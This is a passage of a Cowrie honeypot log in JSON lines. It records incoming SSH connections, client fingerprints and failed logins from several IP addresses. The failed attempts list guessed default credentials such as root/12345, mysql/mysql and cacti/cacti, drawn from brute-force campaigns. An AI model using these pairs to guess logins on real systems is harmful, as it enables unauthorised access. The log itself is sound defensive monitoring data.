mac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:27.219668Z","src_ip":"91.92.40.36","session":"059378ef1d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":57732,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4b15be9b5a","protocol":"ssh","message":"New connection: 73.36.177.174:57732 (10.17.0.5:22) [session: cf4b15be9b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:27.377878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:27.390108Z","src_ip":"73.36.177.174","session":"cf4b15be9b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:27.429215Z","src_ip":"73.36.177.174","session":"cf4b15be9b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaZ2wsX","message":"login attempt [root/1qaZ2wsX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:27.647062Z","src_ip":"73.36.177.174","session":"cf4b15be9b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kim","password":"kim123","message":"login attempt [kim/kim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:28.180761Z","src_ip":"91.92.40.36","session":"059378ef1d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:28.184567Z","src_ip":"91.92.40.36","session":"b9b6def7d497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:28.694508Z","src_ip":"73.36.177.174","session":"cf4b15be9b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:29.648022Z","src_ip":"91.92.40.36","session":"059378ef1d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":27682,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5937b629d06","protocol":"ssh","message":"New connection: 150.136.214.177:27682 (10.17.0.5:22) [session: d5937b629d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:32.622999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:32.629082Z","src_ip":"150.136.214.177","session":"d5937b629d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:32.661817Z","src_ip":"150.136.214.177","session":"d5937b629d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@word1","message":"login attempt [root/pass@word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:32.807570Z","src_ip":"150.136.214.177","session":"d5937b629d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.136244773864746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:33.672337Z","src_ip":"126.116.188.243","session":"531b6793c806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:33.863870Z","src_ip":"150.136.214.177","session":"d5937b629d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53228,"dst_ip":"10.17.0.5","dst_port":22,"session":"05b878146922","protocol":"ssh","message":"New connection: 91.92.40.36:53228 (10.17.0.5:22) [session: 05b878146922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:35.146826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:35.935102Z","src_ip":"91.92.40.36","session":"05b878146922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":60020,"dst_ip":"10.17.0.5","dst_port":22,"session":"826a5ce38571","protocol":"ssh","message":"New connection: 101.36.122.139:60020 (10.17.0.5:22) [session: 826a5ce38571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:35.979858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:35.984344Z","src_ip":"101.36.122.139","session":"826a5ce38571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:36.206370Z","src_ip":"101.36.122.139","session":"826a5ce38571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:37.014184Z","src_ip":"91.92.40.36","session":"05b878146922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamal","password":"P@ssw0rd","message":"login attempt [kamal/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:37.127976Z","src_ip":"101.36.122.139","session":"826a5ce38571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:38.352533Z","src_ip":"101.36.122.139","session":"826a5ce38571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:40.186229Z","src_ip":"91.92.40.36","session":"05b878146922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:42.547559Z","src_ip":"91.92.40.36","session":"05b878146922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50120,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7cc92afcb7e","protocol":"ssh","message":"New connection: 91.92.40.36:50120 (10.17.0.5:22) [session: b7cc92afcb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:43.210585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:43.751444Z","src_ip":"91.92.40.36","session":"b7cc92afcb7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:44.661433Z","src_ip":"91.92.40.36","session":"b7cc92afcb7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"cacti","message":"login attempt [cacti/cacti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:50.275924Z","src_ip":"91.92.40.36","session":"b7cc92afcb7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55416,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d98d88a7f9","protocol":"ssh","message":"New connection: 91.92.40.36:55416 (10.17.0.5:22) [session: e1d98d88a7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:50.529501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:51.249553Z","src_ip":"91.92.40.36","session":"e1d98d88a7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":44512,"dst_ip":"159.203.135.109","dst_port":22,"session":"78a4de9b5243","protocol":"ssh","message":"New connection: 201.17.146.173:44512 (159.203.135.109:22) [session: 78a4de9b5243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:51.827400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:51.831276Z","src_ip":"201.17.146.173","session":"78a4de9b5243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:51.977330Z","src_ip":"201.17.146.173","session":"78a4de9b5243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:52.259424Z","src_ip":"91.92.40.36","session":"e1d98d88a7f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aa@","message":"login attempt [root/123456aa@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:52.597520Z","src_ip":"201.17.146.173","session":"78a4de9b5243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:53.213614Z","src_ip":"91.92.40.36","session":"b7cc92afcb7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:53.751564Z","src_ip":"201.17.146.173","session":"78a4de9b5243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64950,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b91bdc2142c","protocol":"ssh","message":"New connection: 91.92.40.36:64950 (10.17.0.5:22) [session: 3b91bdc2142c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:56.945233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:57.271991Z","src_ip":"91.92.40.36","session":"3b91bdc2142c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:57.275657Z","src_ip":"91.92.40.36","session":"3b91bdc2142c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:59.033826Z","src_ip":"91.92.40.36","session":"e1d98d88a7f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:10:59.156132Z","src_ip":"91.92.40.36","session":"3b91bdc2142c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:00.943695Z","src_ip":"91.92.40.36","session":"3b91bdc2142c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:01.766327Z","src_ip":"91.92.40.36","session":"e1d98d88a7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":45108,"dst_ip":"159.203.135.109","dst_port":22,"session":"1efe0a101dad","protocol":"ssh","message":"New connection: 97.74.87.152:45108 (159.203.135.109:22) [session: 1efe0a101dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:04.762215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:04.767054Z","src_ip":"97.74.87.152","session":"1efe0a101dad","protocol":"ssh"}
